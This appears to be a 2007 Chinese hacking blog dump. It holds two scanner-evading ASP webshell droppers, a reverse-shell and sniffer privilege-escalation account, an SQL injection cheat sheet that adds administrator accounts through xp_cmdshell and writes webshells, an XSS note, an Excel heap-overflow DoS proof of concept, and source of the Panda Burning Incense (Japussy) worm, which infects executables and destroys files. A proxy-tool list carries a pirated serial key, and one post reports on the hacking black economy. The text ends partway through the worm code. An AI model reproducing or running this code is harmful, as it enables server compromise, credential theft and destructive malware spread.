两个非常规ASP木马

2007年2月11日 Chinadu 1 条评论 9 views

为了躲避 lake2 ASP站长管理助手而写..

一.绕过lake2 Asp木马扫描的小马
〈%
set c = CreateObject("ADOX.Catalog")
c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp"))
set c = Nothing
c&Server.MapPath("a.asp")
set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table nomm(nomuma oleobject)")
set rs=server.createobject("adodb.recordset")
sql="Select * FROM nomm"
rs.open sql,conn,1,3
rs.addnew
rs ("nomuma").appendchunk(chrB(asc("〈"))&chrB(asc("%"))&chrB(asc ("e"))&chrB(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34) &chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))& chrB(asc("〉")))
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
%〉

二.xls版asp webshell
〈%
Set xlA = Server.CreateObject("Excel.Application")
xlA.Visible = False
xlA.Workbooks.Add
Set xlWorksheet = xlA.Worksheets(1)
xlWorksheet.Cells(1,1).Value = "〈%ex"&"ec"&"ute(request(""q""))"+chr(37)+"〉"
’strFile = "d:/test.asp"
strFile = Server.MapPath("test.asp")
xlWorkSheet.SaveAs strFile
xlA.Quit
Set xlWorksheet = Nothing
Set xlA = Nothing
%〉

分类: 技术文章 标签:

代理软件全集

2007年2月11日 Chinadu 没有评论 9 views

代理软件全集

1.匿名隐私

Permeo Security Driver v4.22 2468K 网络隐身代理极佳软件
将本地应用程序的网络连接请求直接转化为socks5,可以调度使用Socks 5和跳板服务器等功能。
网上有几种版,但4.2.6版本太大。参考下载(http://www.top183.cn/soft/3535.htm)

GhostSurf 2.1 3074 KB 通过因特网的匿名的"hub"发送数据,使追踪你成为不可能。
主页:http://www.tenebril.com/products/ghostsurf

Stealth Anonymizer v2.7 允许你掩饰身份访问、拦阻cookies、修改任何有关你的网络浏览器发出的计算机的信息。浏览访问时为每个页自动改变代理使之保证最大的安全。批量检查每个代理服务器其响应时间、验证其匿名性等。
下载页面(http://www.ttdown.com/SoftView/SoftView_15911.html)

JavaAnonProxy v00.02.004 1.1MB JAP用于保护互联网访问隐私的工具,比一般的代理服务器具有更高的安全性。下载版本java有关。
主页:http://anon.inf.tu-dresden.de/index_en.html
主页下载(windows)(http://anon.inf.tu-dresden.de/win/jap_all/japsetup.exe)

Anonymity 4 Proxy V2.80 1080 KB 网上隐形人
收集、测试及登陆公众匿名代理服务器,隐藏真实IP软件。
主页:http://www.inetprivacy.com/

Winnow Anonymous Proxy 4.0 1MB 收集匿名代理服务器,测试挑选速度较快的服务器IP,隐藏真实IP。
主页:http://www.winnowsoft.com/

SurfSecret V5.12 948KB 用来保护我们网络隐私的工具。
主页:http://www.surfsecret.com/index.html
下载页面(http://soft.winzheng.com/SoftView/SoftView_3262.htm)

Get Anonymous Professional Edition 2.0 6.86MB 主要功能包括:隐私功能;保护功能(分析引擎、增加IP地址、隐藏IP地址、防御操作系统、目录控制、JavaScript过滤和在线隐私控制);过滤功能。
主页:http://www.privatenavigator.com/getanonymous/professional.asp

Steganos Internet Anonym Pro 6.0.8 10MB 网络隐藏专家
主页下载 (http://steganos.com/software/sia6int.exe)
中文版下载(http://www.ttdown.com/SoftView/SoftView_19257.html)

2.安全加密

Anonymizer Private Surfing 2.1 通过Anonymizer的专用服务器对通信进行SSL加密。
主页:http://www.anonymizer.com

Freedom WebSecure 也是通过海外服务器对通信内容加密。
主页:[urlhttp://www.freedom.net/products/websecure/roaming/index.html[/url]
http://websecure.freedom.net/download.php

Primedius WebTunnel v4.02.946.00 906 KB
可以让你隐密又安全地在网际网络上畅游,就连你的ISP或网络管理员也无法知道你逛了哪些网站。而SOCKS兼容模块更能让你使用像Yahoo、MSN等的实时讯息软件。他能够连cookie都透过加密信道传输。
主页:http://www.primedius.com/PrimediusUpdates.htm
下载页面(http://www.ttdown.com/SoftView/SoftView_9821.html)

Garden 3.1 269KB 代理模式版本,特殊加密。
主页:http://**********.com
主页下载(http://24.87.31.223/download/Garden31.zip)

SoftEther v1.0 1.97MB 虚拟网软件,原理上类似VPN 软件,分服务器和客户端,多种加密方式选择。
主页:http://www.softether.com/jp

3.搜寻验证

Proxy Checker v7.0 344KB
校验出的etitle代理(全匿名代理),支持ssl网页,并且用TUNNEL FINDER校验,支持connect命令,匿名性较高。
主页下载(http://www.proxychecker.org/proxychecker.zip)
Name: www.ttdown.com s/n: HLPC6-9180B6B8A88EAA

代理之王 1.2.0 300KB 搜索验证http、socks代理。
主页下载:http://www.proxyking.com/zhCN/downloads.html
http://www.proxyking.com/download/proxyking_zh_CN.zip

Tunnel finder 430KB 是一款特殊的代理服务器搜索软件,可以从代理服务器列表中找出支持CONNECT命令的代理。
参考下载(http://wvw.ttian.net/download/show.php?id=496)

Remote Proxy Checker 可校验http和socks代理。
主页下载(http://www.freeproxy.ru/download/remote_checker.exe)

SOCKS Proxy Checker 校验socks代理。
主页:http://www.freeproxy.ru/download

SocksCat 179KB 素食猫,专门搜寻socks代理。
下载原在http://leonyxl.yeah.net;http://www.starkun.com

Anonymous Proxy Verifier v2.05 207 KB 匿名代理检测
检测某个代理服务器是真正的匿名服务器,还是普通的对公众开放的服务器!
下载页面(http://www.ttdown.com/SoftView/SoftView_8323.html)

AiS AliveProxy v4.5.4.439 2.5MB 一个代理服务器检测软件,它能够从指定的网站或文件(TXT、HTML)中提取代理服务器,然后对其类型(透明或匿名)、连接速度和超时进行检测。
下载页面 (http://www.ttdown.com/SoftView/SoftView_15030.html)

Proxy Grabber v1.1 359.7KB 非常快速的Socks代理扫描器,可以同时检查无限量的地址。
主页:http://zlg.netfirms.com

Proxy Grabber v1.0 英文注册版228K
参考下载(http://www.crsky.net/soft/2467.htm)

proxyjudge 代理分析工具
主页:http://proxyjudge.org/prxjdg.cgi

Proxyrama version 1.6 167 kb 小巧、易用。
is a tool for finding and testing proxy servers. it will test them for anonymity, speed, if it's a gateway proxy, 'connect' support (=chainability), socks 4/5 support and geographical location. furthermore, it can be used as a local proxy server that redirects your traffic through a arbitrarily long chain of anonymous proxies and let's you skip images, multimedia crap, ads, popups etc.
主页:http://gaamoa.deny.de

Socks tester v1.1 240 kb
Program tests public socks server on access time and bandwidth
主页:http://www.astra-soft.com

Socks scanner v1.2 220 kb
Program searches public socks server
主页:http://www.astra-soft.com/socksscanner

AATOOLS v5.56 build 1070 (trial version) AATools v.5.56 is released
下载页面:http://www.glocksoft.com/download.htm

APL v1.3 (Automated Proxy Leecher):
http://sentinel.deny.de/apl.htm

Proxynator v2.0 从google上吸附代理的工具
下载(http://www.freewebs.com/yahoohell/Proxynator.zip)

SurfAnonymous v1.0.1.0 705 kb 可以搜索、分析、捕捉、管理代理服务器地址的软件。
主页:http://www.sa6ry.com/surfanonymous
下载页面(http://www.ttdown.com/SoftView/SoftView_18723.html)

Proxy Analyzer 代理服务器分析
主页:http://www.glocksoft.com/proxy_analyzer.htm

AccessDiver V4.120 1946 KB 检测网站安全漏洞的工具,网络安全测试软件,能通过不同代理服务器多线程检测登录帐号、密码,用来收集代理也是不错的。
主页:http://www.accessdiver.com
汉化版下载(http://soft.winzheng.com/SoftView/SoftView_10141.htm)

代理服务器查看程序 v1.0 简体中文20 KB 一个可以让你查看网络上哪些计算机打开了你需要检查的端口,以及一台计算机上有多少个已经打开的端口!



4.链接转换

TCP2HTTP 1.0 290K 具有sock2http, httpport,scokcap32的所有功能,并且还具有它们没有的功能,如让用户通过TCPMAP,可以使用FTP,pop3,sock5, telnet等的程序通过firewall;http proxy的权限检查;代理链;http no cache等。所用代理服务器应有穿越功能。
参考下载(http://www.chinesehack.org/down/show.asp?id=1122)

Proxy Tunnel 1.1 1.37MB 让你绕过SOCKS、代理服务器和防火墙,可以使用FTP服务器和文件下载管理器的工具。完全支持SMTP/ IMAP/ POP协议。
主页:http://www.vellumsoft.com/
参考下载(http://newhua.ruyi.com/soft/23389.htm)


SocksChain V3.9.143 可以通过多个SOCKS和HTTP代理组成代理链,从而实现隐藏IP的目的。
主页http://www.ufasoft.com http://www.sockschain.com/socks/

Proxy Chain v1.0 990 KB 一个可以完全定制的代理服务上网的工具,可以帮助你将几个HTTP和Socks4代理串起来使用。
参考下载(http://www.kingti.com/soft/6890.htm)

AvalancheCap v1.1 1014KB 透过socks 代理服务器连接网络,让不支持socks代理服务器的程序也可以通过socks 代理服务器上网。
http://avalanche-software.com/

multiproxy 1.2 155KB 自动测试和自动调度多代理(http)。
主页:http://www.multiproxy.org

代理之狐2.0 232 K 快速验证和调度http代理。
下载页面(http://www.jszzb.com/Soft_Show.asp?SoftID=4)

ProxyCap v2.0 316 KB 能让你所有或指定的应用程序通过HTTP、SOCKS4、SOCKS5代理服务器。 汉化版本已破解
主页:http://proxylabs.netwu.com/#

AllegroSurf Network v6.0.0.1 2.83 MB 一个HTTP、DNS、FTP、NNTP、POP3、SMTP、SOCKS4、SOCKS4a、SOCKS5 代理服务器软件,支持过滤、预先抓取功能。
http://www.allegrosurf.com/
下载页面 (http://www.ttdown.com/SoftView/SoftView_8059.html)



5.网页过滤

Proxymitron v4.5 1.3MB 具有调度使用http代理型的过滤器,过滤的效果取决于你的filter是否写得周全完善。
主页下载:http://www.proxomitron.info/files/index.shtml

Ad Muncher 157kb 小巧精致,内置1570个过滤器项目,也内置了一个proxy检验程序,可以把它当作一个代理调度程序来用。
主页:http://www.admuncher.com/download.shtml
主页下载(http://www.admuncher.com/AM-Install.exe)

Naviscope V8.70 613 KB 它通过软件自身来起到一个代理的作用,滤掉广告图,阻绝Cookies、Javascript等。
汉化补丁(http://www.sky66.com/soft/3459.htm)
下载 (http://www.naviscope.com/nscope.exe)
(c) http://proxycn.com/bbs/viewthread.php?tid=39684

分类: 资源共享 标签:

提权之道(关于WNDOWS 2003 目录权限的初探)

2007年2月11日 Chinadu 没有评论 28 views

首先我说明,此文只做为技术交流,同时也并没有什么技术。
前几天再检测有一个服务器的时候,(虚拟主机)管理员的设置很BT,虽然没有禁止WS,但是呢,CMD等文件均不可以访问,并且不能运行任何系统命令,上传一个MT.exe 到了网站目录,可写,并且使用WS可以运行,因此我首先想到的就是利用WS的命令达到提权,因为没装VNC,PCANwhere,至于系统漏洞的本地提权也就不用去试都知道了,行不通的,所以拿系统权限只有靠FTP了,但是呢管理员把FTP的本地密码改了,如果是6.2的话,你还可能可以下回来查看到密码,可惜的是6.3看密码是没有希望了,这个时候想到的自然是SNIFFER,这个时候,自然是想到了使用htran和NC,把端口重定向过来。
反弹回来之后就是目录限制的问题了,我已经遇到了很多个服务器,基本上都是这样,把你的权限限制在 C:\windows\system32\inetsrv 目录里面了, C:的根目录你可以进去,但是无可写权限,大家都知道WINDOWS\TEMP可写,但问题是反弹回来的SHELL无权限DIR的,更加别说权限MD了,因此很是郁闷,毕竟是连网站目录也跳转不到了,所以就是上传了XSNIFFER也没有用,无奈之下,想了很久在里面瞎逛了很久,最后当我切入到 ASP Compiled Templates 目录的时候随便输入一个 : md 123 然后是 cd 123 结果,我还真的进到了123 的目录,然后赶快退出来,立刻再MD WOKAO cd wokao之后,就发现了,这个目录可写,然后在ASP木马里面输入路径:C:\windows\system32\inetsrv\ASP Compiled Templates 结果发现,ASP木马对该目录竟然连访问权都没有,这个时候大家或许就明白了,反弹回来的SHELL的权限与网站的权限是不一样的,呵呵,到了这里,自然就是轻车路熟了,继续之前的想法,架设一个 TFTP服务器, TFTP了一个XSNIFFER出来,然后在本地嗅探,以后就是等了,到第2天,自然就是 ctrl+c 终止嗅叹之后,立刻查看:password.txt 了,拿下目标站的管理员FTP。然后自然就是 OPEN xxxxxxxx 进入该站了目录了···

PS:有一点不是很明白,既然是通过IIS反弹回来的SHELL,那么应该是继承了IIS的权限,但是,基于IIS的权限,有2点不明白,第一,ASP木马为何无权限访问该目录,第二,为何改反弹回来的SHELL无法切入到网站根目录?

分类: 技术文章 标签:

LBS^2漏洞

2007年2月3日 Chinadu 没有评论 8 views

LBS^2是由SIC开发一个单用户的Blog程序,因其的安全性和程序的执行快速,被很多的Bloger爱好,我也是其中一员,在使用的过程中,发现其安全性真的很好,不过有一个小Bug还是出现了。

  问题出现在访问统计这里,HTTP_REFERER没有经过过滤就写进了数据库中,这样我就可以仿造数据,包括一句话木马也可以写进去。不过还没有想到办法提权和暴出数据库路径。而且这个访问记录默认只能保存100个。

  用minibrowser浏览网站,在REFERER这里写上”,用管理员身份看一下访问统计,可爱的弹窗就出来了。包括是iframe,一句话,都是可以的.

分类: 资源共享 标签:

脚本注射

2007年2月3日 Chinadu 没有评论 6 views

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

use model

create table cmd(str image);

insert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';

分类: 技术文章 标签:

MS07-002 EXCEL Malformed Palette Record

2007年1月31日 Chinadu 没有评论 7 views

"""
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
######
LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
which is generated by DarunGrim
( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

######
Result
######
DOS

#####
Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack('> self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
< result = ''
< return result
---
> return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
- 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")


def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)

str = f.read()
f.close()

#write to malformed xls file
f = open( "after.xls", "wb")

PaletteRecord = pack( " NewPaletteRecord = pack( "
palette_idx = str.find( PaletteRecord)

if palette_idx == -1:
print "Cannot find Palette Record"
sys.exit(0)

str = str.replace( PaletteRecord, NewPaletteRecord)
f.write( str)
f.close()

if __name__ == "__main__":
print "==========================================================="
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "==========================================================="
CreateXLS()
ModifyXLS()


分类: 矩阵毒刺 标签:

网络黑客已成黑色产业链 四部委拟联手作战反击

2007年1月30日 Chinadu 没有评论 5 views

自去年以来,黑客攻击网站的行动此起彼伏,新网、万网、百度等均一度因此而中招。而利用DDoS方式的黑客攻击,更是曾令亚洲最大的机房——北京宜庄机房——陷入间歇性瘫痪。
“近一段时间,我们的很多分中心都接到了举报。”1月24日,国家计算机网络应急中心(CNCERT/CC)副总工程师杜跃进在电话中对记者表示,目前,利用分布式拒绝服务攻击(DDoS)干扰网络,甚至敲诈的事件愈演愈烈,“已经对正常的网络秩序造成严重影响”。

黑客产业链

杜跃进表示,在黑客攻击的背后,有一条时隐时现的“黑色产业链”,正是它在很大程度上激励着黑客们的行为。

根据CNCERT/CC的初步估计,目前这条“黑色产业链”的年产值已超过2.38亿元,造成的损失则超过76亿元,已经形成了不可忽视的地下经济力量。

“这是非常保守的估计,实际应该更大。网络安全工作委员会成立后,会有更准确的数据出来。”杜跃进说。

据杜跃进分析,黑客经济的赢利模式主要包括黑客培训、信息窃取、恶意广告、垃圾邮件、敲诈勒索、网站仿冒等几种。

其中,黑客培训的主要方式是收取会员会费。一些黑客培训网站收取会员200元至500元不等的年费,网站则为会员提供各种各样的黑客培训资料。

据了解,一些有影响力的黑客网站的会员超过万人,以200元至500元的会员费计,这类黑客网站每年营收至少在200万元至500万元之间。

而信息窃取,则主要是指窃取客户资料。黑客窃取了一个企业的客户资料后,会卖给这个企业的竞争对手。在那些竞争激烈的行业,这样的客户资料能卖到很高的价钱。

恶意广告主要的载体是插件。插件强制弹出的广告或广告页面,一方面能在短时间内提高网站流量,另一方面能通过强制用户接受来推广自己的产品或服务。

垃圾邮件则是通过邮件的方式向用户的邮箱发送邮件,推广产品或服务。

敲诈勒索则类似于拦路抢劫。比较典型的方式是,一些黑客攻击了一些中小游戏网站后,向这些网站索要钱财,一般从1万元到10万元之间。最容易受到攻击的是那些提供私服的游戏网站,由于私服是违法行为,被敲诈勒索之后不敢报案,只好乖乖交钱。

网站仿冒,就是平常所说的钓鱼网站。典型的模式是注册一个与知名机构域名类似的网站,然后诱使用户到该网站上注册,以此窃取用户输入的信息。据悉,仿冒网站通过购买搜索引擎的关键字,可以将其在搜索结果中的排名靠前,使用户更加容易上当。

黑客的收益以众多网站的损失为代价。以威客网为例子,该网站在2006年12月5日开始被黑客恶意攻击后,客户经常无法访问网站,已经损失了近百万元的业务,网站只有打游击,在全国各地拼命增加服务器。据称,现在其服务器已经由最初的3台增加到了18台,在增加运营成本的同时,造成了极大的资源浪费。

多部委联手

杜跃进表示,正是基于黑客的猖狂,1月12日,国务院信息化办公室、公安部、信息产业部、中科院等机构的有关部门,以及CNCERT/CC、中国互联网协会网络与信息安全工作委员会等,已联合倡议,通过不同部门的协同,共同作战。

据记者了解,1月12日会议的主题为“用DDoS进行网络敲诈事件的现状与应对中存在的问题”。参会的除了上述机构外,还有一些受黑客攻击的企业,如绿盟科技、万网、新网互联网、中国招商网、支点网、K68(威客网)、虎网等。此外,中国网通、思科系统、启明星辰、东软、华为等作为信息安全产品提供商也列席参加了会议。

DDoS攻击是一种常见的黑客攻击手段。在攻击初级阶段,网站显示有许多用户正在访问网站;随着访问用户越来越多,网站就会被过高的数据堵塞,造成网站无法访问;随着情况继续加剧,过多的数据会堵塞托管网站的机房,造成整个机房瘫痪。

DDoS这种攻击方式会造成两个结果:一是网站无法访问;二是网站没有地方敢托管。因此,被攻击网站在通过正常渠道(比如通过法律保护)得不到保护的情况下,只能向黑客屈服。

上述机构的倡议主要包括两方面内容。一方面,通过成立网络安全工作委员会,收集黑客数据,“通过数据,揭示黑客攻击的危害,并扩大打击黑客行为的社会影响力”。该委员会主要由提供网络安全产品与设备的企业组成,其中包括华为、启明星辰、东软等企业。上述企业的另一任务是提供应对黑客攻击的产品。

另一方面,其还倡议成立网络安全工作组。网络安全工作组除了由提供网络产品的企业组成外,还将包括国务院信息化办公室、公安部、信息产业部、中科院以及CNCERT/CC。

“打击黑客犯罪,需要各个部委协调工作,工作组将推进各部委协调工作。”杜跃进说。

杜跃进表示,网络安全工作组成立的另一目的是,制定相应法规。

分类: 心情随笔 标签:

熊猫烧香核心源码

2007年1月28日 Chinadu 没有评论 5 views

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
